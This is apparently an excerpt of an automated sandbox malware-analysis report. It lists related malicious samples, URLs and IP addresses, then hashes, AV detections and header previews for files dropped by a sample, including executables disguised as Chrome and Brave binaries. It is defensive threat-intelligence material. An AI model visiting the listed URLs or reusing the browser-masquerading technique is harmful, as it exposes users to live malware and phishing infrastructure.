	https://d10sfr04.na1.hubspotlinks.com/Ctc/ZU+113/d10sfR04/VVyy_r2MfJLNN4j8c4w6LHWBW7TctdS4SKFxDN5QLhT53q905V1-WJV7CgSfgW30p7nV4bgs7WW512fYZ4fD_1mW7MK0fG1l8bNQN3nL2gJ47y9VW7wW5l995Mk2PW4mKQKg3rWR_0W80RHqb3s-lwNW1rpP_M3nlkR3Mzb6_rMpV3DMV2mthwgswlN379wTWlGP6xW5frLMQ455vKMN4phng0yQG_wVWMjJm420N7gW5bqz517BQZp6W1ztgFM99H6W0W1sWh1h8Bk6GhV8CsVx2Z98X4W87pz-G5nwf-nVxc6fk5q9D81W5H-Hzp8h5YqTW11mRjz3lSTDKW5n2JsN7459TVW2f7j6F2nl6dw3dqZ1	Get hash	malicious	Browse	104.18.7.183
	FKN6uh7y01.exe	Get hash	malicious	Browse	66.235.200.147
	https://app.pipefy.com/public/form/rRoom7uK	Get hash	malicious	Browse	104.17.236.70
	file.exe	Get hash	malicious	Browse	162.159.133.233
	http://centurionbusinesses.com/m	Get hash	malicious	Browse	104.18.11.207
	6iWK0k820U.exe	Get hash	malicious	Browse	66.235.200.147
	invoice.html	Get hash	malicious	Browse	104.18.36.4
	fQxEIQAU5H.xlsx	Get hash	malicious	Browse	172.64.133.15
	file.exe	Get hash	malicious	Browse	162.159.129.233
	https://www.g2trc.com/	Get hash	malicious	Browse	104.26.3.39
	https://iindexformprot.blob.core.windows.net/index/trial.html?sp=r&st=2022-11-23T10:52:22Z&se=2022-11-27T18:52:22Z&spr=https&sv=2021-06-08&sr=b&sig=ZwgkLDCJs4WfhkBNR8ZWCPALTKhsAm%2B6W1E81Awnu6k%3D	Get hash	malicious	Browse	104.18.31.78
CENTURYLINK-US-LEGACY-QWESTUS	kdyk6GXc2I.elf	Get hash	malicious	Browse	75.161.199.2
	ewfDbhCyw3.elf	Get hash	malicious	Browse	216.160.24.204
	AVQ66v3wA5.elf	Get hash	malicious	Browse	97.116.31.197
	5Aa4A98Heg.elf	Get hash	malicious	Browse	162.18.226.1
	PSlc8imSQa.elf	Get hash	malicious	Browse	67.7.68.109
	zX8vKJqP7H.elf	Get hash	malicious	Browse	67.0.194.120
	eeo7Pwk87J.elf	Get hash	malicious	Browse	65.149.111.84
	zqmyLbR9Pc.elf	Get hash	malicious	Browse	75.172.178.24
	Mvt8bzQ4Je.exe	Get hash	malicious	Browse	162.19.175.162
	gYQNynQJG2.elf	Get hash	malicious	Browse	67.0.194.122
	zg8P6HaVf2.elf	Get hash	malicious	Browse	204.131.144.100
	iRqebLuDgd.elf	Get hash	malicious	Browse	75.173.110.106
	01z4dXu6Nk.elf	Get hash	malicious	Browse	184.97.138.126
	Mddos.arm.elf	Get hash	malicious	Browse	75.169.33.88
	arm7.elf	Get hash	malicious	Browse	65.148.194.215
	SecuriteInfo.com.Linux.Siggen.9999.25037.18823.elf	Get hash	malicious	Browse	70.56.38.244
	bh9DbiHRvz.elf	Get hash	malicious	Browse	71.2.115.113
	dark.arm.elf	Get hash	malicious	Browse	204.131.144.175
	4Wu0n8HHNS.elf	Get hash	malicious	Browse	75.162.10.135
	PE7QgPQOsl.elf	Get hash	malicious	Browse	75.170.116.212

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884609
Entropy (8bit):	7.915812566955318
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	EB27BB8CFA99D659E4FE023E9002ECD1
SHA1:	C783400302FDFAE0518269C5A5A8D4BAD29F42A3
SHA-256:	9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F
SHA-512:	AB5AD3C094ED1F094AA82D80D298E6D0AB15A94B58B007DBE8A6219FE8498569B5D9013D770BD9910F177F94F2639D84650655E8F60113051E98B386C49C36A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Reputation:	unknown
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_cfBJlHsOsz.exe_1ec711dc3d44814b2867c4cd04064cfbeaf377d_ebe17165_0ed36ae3\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6350926078474708
Encrypted:	false
SSDEEP:	96:pHFwirAT9xIJoI7Rj6tpXIQcQvc6QcEDMcw3Dj+HbHg6ZAXGng5FMTPSkvPkpXm/:puGATnHBUZMXAjE/u7sZS274Ithx
MD5:	5B71BAC42B3E75130B645AAD833A798F
SHA1:	C494C453196A1EAEE97610BF20606814C2251E61
SHA-256:	A760DF72ABBE2BB4783447E1B0F1DDFB4B4436888A8B93592445C415D9938D7E
SHA-512:	98D1E95256DA0A5113BDD46D1B285D4FD208DCB35475C43BE8AA77630CAD5E01856BF0986CD6F2110C947F3C04AF1BCBC8A77344D19F4B2B1ABE3E3D41454905
Malicious:	true
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.3.8.1.1.4.2.2.5.0.1.4.1.5.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.3.8.1.1.4.2.3.1.8.8.9.2.2.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.b.8.1.7.7.5.f.-.3.a.9.e.-.4.6.1.b.-.8.4.b.d.-.7.1.3.1.6.6.b.a.c.c.b.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.f.8.1.1.1.4.1.-.7.1.2.2.-.4.2.4.2.-.9.f.8.9.-.0.5.1.7.1.a.3.4.e.c.2.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.f.B.J.l.H.s.O.s.z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.0.c.-.0.0.0.1.-.0.0.1.f.-.0.7.3.a.-.1.d.d.2.6.8.0.0.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.1.d.1.8.6.9.1.c.1.b.a.9.5.b.9.d.0.d.1.0.8.c.7.e.0.9.8.d.8.2.c.e.0.0.0.0.1.a.0.8.!.0.0.0.0.0.2.8.2.d.7.5.c.a.0.e.f.8.1.6.7.e.1.7.9.8.a.b.5.9.2.5.b.d.d.d.f.6.0.4.7.5.3.c.9.!.c.f.B.J.l.H.s.O.s.z...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B16.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Nov 25 00:57:02 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	18580
Entropy (8bit):	2.234019266301971
Encrypted:	false
SSDEEP:	192:MiVY7MJOpsSdkFUOdZj3TwXPazTDHv0TyrYP90:GyTV3TwwP0
MD5:	4BF885481FDF471F242EC076A565F836
SHA1:	19E139457CF0440F12845A6E1EAF0579F0562C20
SHA-256:	DC28480C842D813AE800C11022DD41B0F22F664EDD3852CB7F307350561A46D4
SHA-512:	DF1C63DA6F977D28E9BBC44BDFF641E6944179151228B4373C6C51DDF2E72FD9A0DB3CC1631DC52B25778976C55A4FF2A62B7B0574DD3A6394544AB54A98EFFF
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ..........c............4........... ...<.......D...............T.......8...........T...........H...L?..........\...........H....................................................................U...........B..............GenuineIntelW...........T..............c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C9E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8388
Entropy (8bit):	3.7037629113483543
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiXe6n6YqFSUQVgmfrSzCpr989b3HsfJy9m:RrlsNiO6n6YoSUQVgmfrSx3MfJR
MD5:	069066476F34899B921940C9D26EDD1F
SHA1:	219A2C767FFE7D59322F73A6FC399149F8B2CE35
SHA-256:	58B774321DAA01194B42C98FA0F039EC0A356B9EA038E3ECBF1B79ED1F5AB8D1
SHA-512:	40931CABB05D63F24205429CA7E3AE0FA41CD36F88F15F083CF4CA33FCBF7B88FB09FEB2A937A78E3CB09C8DF48C9B9D64674B16DAD0C68B0D170E393E15FE03
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.5.7.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D3B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4716
Entropy (8bit):	4.491475377276469
Encrypted:	false
SSDEEP:	48:cvIwSD8zsQJgtWI9TDWgc8sqYjy+8fm8M4JTGMFTz+q8v8G8GIuHNT9dd:uITfWAygrsqYAJKkzKv8zuHrdd
MD5:	3D8E56AF8650EA80AC958DD1A0BF2159
SHA1:	A11CC6718F58C3F7FFBDE893C585E4DE2B4AF394
SHA-256:	72C376350A731117FD32491203E98AFD84594FEC2ACBE3118B06746AA956E9F5
SHA-512:	B9AC94CF06D3FC5F7442EDCD4BB87ABD405459783C6A4DDEF9C99E111E6DD7B6DE752038A36879929D1B9292D76907EA64A35600BFB57F4A55CD58A0B3033E4C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1794847" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Google\brave.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884608
Entropy (8bit):	7.915813410181377
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	9253ED091D81E076A3037E12AF3DC871
SHA1:	EC02829A25B3BF57AD061BBE54180D0C99C76981
SHA-256:	78E0A8309BC850037E12C2D72A5B0843DCD8B412A0A597C2A3DCBD44E9F3C859
SHA-512:	29FF2FD5F150D10B2D281A45DF5B44873192605DE8DC95278D6A7B5053370E4AC64A47100B13C63F3C048DF351A9B51F0B93AF7D922399A91508A50C152E8CF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Reputation:	unknown
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Google\chrome.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6423552
Entropy (8bit):	7.922005336740627
Encrypted:	false
SSDEEP:	98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
MD5:	8CD1EA50F8F4C45055400E70DA52B326
SHA1:	40AF98091E8C32CE9C90502B3D851EBC231CACF9
SHA-256:	66552CBE03B205CBA08A2524FB93303DEC5EDF51188758B08D12624DB1EE73E1
SHA-512:	B0BE3ACCCF8CE64343B10E33B7CD5E7292164259D65C07E0C63C08DC05BFA0CF268290B3A37F20F6AFA81D7163BE8C90AC9AE9A7FB93C3E61CBC08310A2BEAF1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...xb..xb..xb.....rb......b.....lb.....Tb.....ib..*...lb.....}b..xb..,b.....{b...i.yb.....yb..Richxb..........................PE..L.....qc.................2....`......o.......P....@..........................Pb.......b...@.................................D.\.<.... ]......................0b.\|.....\.......................\.......\.@............P...............................text...30.......2.................. ..`.rdata....[..P....[..6..............@..@.data.........].......\.............@....rsrc........ ].......\.............@..@.reloc..\|....0b.......a.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\ofg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	6.270431868500399
Encrypted:	false
SSDEEP:	1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
MD5:	33DAD992607D0FFD44D2C81FE67F8FB1
SHA1:	E5B67DC05505FB1232504231F41CBA225C282D3C
SHA-256:	95903D8C2D48C4C0667E41878807F646F7648A33ED25D0EB433AAB41C25E31A4
SHA-512:	444973B44292C433A07E5F75F6580EA71799B1F835677BC5B2E42AF6B567A2F70F1B038F019D250A18216701CCF901B300632487EEBCC1113AC803EDB43159E4
Malicious:	true
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}f.I9...9...9....u..3....u.......u..-...kr......kr..(...kr..*....u..0...9...X....r..8....r=.8....r..8...Rich9...........................PE..L...oz~c.............................$............@.......................................@..................................L..d...............................L....?..8....................@.......?..@...............T............................text............................... ..`.rdata...d.......f..................@..@.data........`.......<..............@....rsrc................F..............@..@.reloc..L............H..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKx1qHjC:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxw
MD5:	3CF15F26423086F7633BB4066F6D1128
SHA1:	009194C567E122B6CBB9BFC45FD854BA30433C43
SHA-256:	28279AEAD69778149C740526EF13D927FF69632B69B5F1759E6C697720D9D413
SHA-512:	14FD6C0CDF9CDE9B651DF4420DD81F847288C5534F5DDC9773DA9B80B49B15BCE7C804E3DB9819CACF9C09CAADEE75812F43A897F8C678E3650CF46107E24AF9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	42051
Entropy (8bit):	5.056950507557673
Encrypted:	false
SSDEEP:	768:sWiUpH4PaFCTrYozhuohNZjfrRJPFhtAHkUwa59yFNef66h4iUxhGV3IpNBQkj2b:TiUpH4P6CvYozhHflJdhtAHk3a59yFNi
MD5:	E8908459F749880853BBB08FD7941054
SHA1:	B8CA8ACA407DF689AC99956344ECCC84BBE94971
SHA-256:	411F5E225D67EE87840C7B1D9FC39505DFD61B71449FB993C25D6174CD12E37C
SHA-512:	3B7D39C19BB717B8FECB3ECC73B6C49D13741E9C2F7684158230F098671C66F033ABA73E2822000BB6F01E09C4EB0452CD66C477F756E190972C06C7C87DA10C
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE.>...d......S...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\NetConnection\NetConnection.psd1........Get-NetConnectionProfile........Set-NetConnectionProfile..............K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PnpDevice\PnpDevice.psd1........Enable-PnpDevice........Disable-PnpDevice........Get-PnpDevice........Get-PnpDeviceProperty........_.>....?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PKI\PKI.psd1........Export-Certificate........Get-CertificateNotificationTask........Get-PfxData........New-CertificateNotificationTask........Import-PfxCertificate....#...Set-CertificateAutoEnrollmentPolicy........Export-PfxCertificate........New-SelfSignedCertificate........Switch-Certificate....%...Get-CertificateEnrollmentPolicyServer....%...Add-CertificateEnrollmentPolicyServer....(...Remove-CertificateEnrollmentPolicyServer........Import-Certificate........Test-Certificate........Get-Certificate...."...Remove-CertificateNotificationTask....#...Ge

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20752
Entropy (8bit):	5.579742209697804
Encrypted:	false
SSDEEP:	384:6tLk7/O5qV1Wv06rIYSVx0julXIGBsl9C1u168amexHVX43cX4pvs++ZYb:Y5s1WvIYUaClXJu2ALGecoTb
MD5:	3DEAF46EBC9DBEA6FF002474EC25EE68
SHA1:	9CB66D030B6587025FE7E6C255FCE381BEB64636
SHA-256:	D35E62A182DAB7CA5DF27ED6E52A602DC62C801A266370A543500F323726FC48
SHA-512:	E9BEAF235743BE1D0326C7B2F9E974D6E89983FBAB4F851BECBBAB57C7BAF20C85BF73EFFAD554EB9B0E027198DEAB3E66A61F420E2CB9379D434AC931466721
Malicious:	false
Reputation:	unknown
Preview:	@...e...........&.........X...........M..............@..........H...............<@.^.L."My...:X..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP...............-K..s.F...]`.,j.....(.Microsoft.PowerShell.Commands.ManagementT................7.,.fiD...............Microsoft.Management.Inf

C:\Users\user\AppData\Local\Temp\8ABA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	335360
Entropy (8bit):	7.548086611496671
Encrypted:	false
SSDEEP:	6144:RBx7z3Bre16M01nguKBmmlbvx0zKGkl5EiCtuhNjtANJ4tDWhRaitlopYR:RnBreIfKNJVZotuhNZKxrYpI
MD5:	DA87A0A2ABA605908BF8B9A3F4377481
SHA1:	5CAC4EA0B3F0CC2D7C04655DB12AD0443CBAA5CF
SHA-256:	22EE7B8104599B47313195598FFC34AAFD6A6552DCCE0E7B3232CED3A90AC9A4
SHA-512:	55A8A27A013CB2C3DEDA81779D89AB956A5F57D00A155496ABC7BF3C5A87F3B7C41058AB3681CBBD0406F69EA01C4FFC3E5779C2CA676088A68CB87F19C34C28
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Reputation:	unknown
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$..........;..eh..eh..eh.fi..eh.`iS.eh..`i..eh..ai..eh..fi..eh.ai..eh.di..eh..dhE.eh^.li..eh^..h..eh...h..eh^.gi..ehRich..eh........PE..d......b.........."..........n......D..........@.............................`............`..................................................e..P...............(............P..d....Q..p............................P..@...............x............................text...0........................... ..`.rdata.............................@..@.data...X....p.......`..............@....pdata..(............l..............@..@_RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..d....P......................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2auexjlf.bsi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2pid5s5f.wfx.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3c1oac3o.4ev.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3gz3r5w4.dzv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b0q45fva.rlw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

